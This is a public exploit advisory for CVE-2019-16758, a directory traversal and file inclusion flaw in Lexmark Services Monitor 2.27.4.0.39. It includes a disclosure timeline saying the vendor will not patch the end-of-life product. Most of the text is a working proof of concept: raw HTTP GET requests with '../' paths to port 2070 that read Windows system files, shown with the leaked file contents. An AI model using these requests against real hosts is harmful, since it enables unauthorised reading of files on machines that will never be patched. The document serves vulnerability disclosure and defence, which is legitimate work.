# Exploit Title: Lexmark Services Monitor 2.27.4.0.39 - Directory Traversal
# Google Dork: N/A
# Date: 2019-11-15
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.lexmark.com/en_us.html
# Software Link: https://www.lexmark.com/en_us.html
# Version: 2.27.4.0.39 (Latest Version)
# Tested on: Windows Server 2012
# CVE : CVE-2019-16758
Vulnerability: Lexmark Services Monitor (Version 2.27.4.0.39) Runs on TCP Port 2070. The latest version is vulnerable to a Directory Traversal and Local File Inclusion vulnerability.
Timeline:
Discovered on: 9/24/2019
Vendor Notified: 9/24/2019
Vendor Confirmed Receipt of Vulnerability: 9/24/2019
Follow up with Vendor: 9/25/2019
Vendor Sent to Engineers to confirm validity: 9/25/2019 - 9/26/2019
Vendor Confirmed Vulnerability is Valid: 9/26/2019
Vendor Said Software is EOL (End of Life). Users should upgrade/migrate all LSM with LRAM. No fix/patch will be made: 9/27/2019
Vendor Confirmed Signoff to Disclose: 9/27/2019
Final Email Sent: 9/27/2019
Public Disclosure: 11/15/2019
PoC:
GET /../../../../../../windows/SysWOW64/PerfStringBackup.ini HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: 10.200.15.70:2070
User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20
HTTP/1.0 200 OK
Server: rXpress
Content-Length: 848536
.
.
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.[.P.e.r.f.l.i.b.].
.
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.
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.
.L.a.s.t. .H.e.l.p.=.3.3.3.4.7.
.
.
.
.[.P.E.R.F._...N.E.T. .C.L.R. .D.a.t.a.].
.
.F.i.r.s.t. .C.o.u.n.t.e.r.=.5.0.2.8.
.
.F.i.r.s.t. .H.e.l.p.=.5.0.2.9.
.
.L.a.s.t. .C.o.u.n.t.e.r.=.5.0.4.0.
.
.L.a.s.t. .H.e.l.p.=.5.0.4.1.
.
.
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.[.P.E.R.F._...N.E.T. .C.L.R. .N.e.t.w.o.r.k.i.n.g.].
.
.F.i.r.s.t. .C.o.u.n.t.e.r.=.4.9.8.6.
GET /../../../../../windows/SysWOW64/slmgr/0409/slmgr.ini HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: 10.200.15.70:2070
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.3
HTTP/1.0 200 OK
Server: rXpress
Content-Length: 38710
..[.S.t.r.i.n.g.s.].
.
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.
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.
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GET /../../../../../windows/system32/drivers/etc/services HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: 10.200.15.70:2070
User-Agent: Opera/9.50 (Macintosh; Intel Mac OS X; U; de)
HTTP/1.0 200 OK
Server: rXpress
Content-Length: 17463
# Copyright (c) 1993-2004 Microsoft Corp.
#
# This file contains port numbers for well-known services defined by IANA
#
# Format:
#
# <service name> <port number>/<protocol> [aliases...] [#<comment>]
#
echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp users #Active users
systat 11/udp users #Active users
daytime 13/tcp
daytime 13/udp
qotd 17/tcp quote #Quote of the day
qotd 17/udp quote #Quote of the day
chargen 19/tcp ttytst source #Character generator
chargen 19/udp ttytst source #Character generator
ftp-data 20/tcp #FTP, data
ftp 21/tcp #FTP. control
ssh 22/tcp #SSH Remote Login Protocol
telnet 23/tcp
smtp 25/tcp mail #Simple Mail Transfer Protocol
time 37/tcp timserver
